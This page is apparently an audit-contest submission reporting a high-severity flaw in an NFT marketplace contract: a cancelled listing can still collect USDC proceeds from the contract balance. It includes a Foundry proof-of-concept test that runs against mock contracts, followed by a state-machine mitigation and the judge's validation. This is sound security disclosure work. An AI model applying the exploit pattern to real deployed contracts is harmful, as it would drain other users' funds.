NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Settlement Can Be Claimed After Cancellation Without Any Sale (Invalid Listing State Transition)

Description:
cancelListing sets isActive = false. Later, collectUsdcFromSelling only checks !listing.isActive, so canceled listings pass the gate even though no sale occurred.

Impact:
Critical. A seller can claim synthetic sale proceeds from global contract USDC balance after cancellation, causing direct fund loss when liquidity exists.

Proof of Concept:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
contract ValidateMissedFindingsTest is Test {
NFTDealers internal nftDealers;
MockUSDC internal usdc;
address internal owner = makeAddr("owner");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
uint256 internal constant LOCK_AMOUNT = 20e6;
uint256 internal constant NFT_PRICE = 1000e6;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "ipfs://x", LOCK_AMOUNT);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(bob);
usdc.mint(alice, 5_000e6);
usdc.mint(bob, 5_000e6);
}
function testMissed_CanCollectAfterCancelIfContractHasFunds() public {
vm.startPrank(alice);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(1, uint32(NFT_PRICE));
nftDealers.cancelListing(1);
vm.stopPrank();
usdc.mint(address(nftDealers), 5_000e6);
uint256 beforeBal = usdc.balanceOf(alice);
vm.prank(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 afterBal = usdc.balanceOf(alice);
assertGt(afterBal, beforeBal, "seller can collect proceeds despite no sale");
}
}

Recommended Mitigation:
Use strict listing lifecycle states (Listed, Sold, Cancelled, Claimed) and allow settlement collection only from Sold state exactly once.

Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

free-mint-when-cancel

No flag when the listing is canceled.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!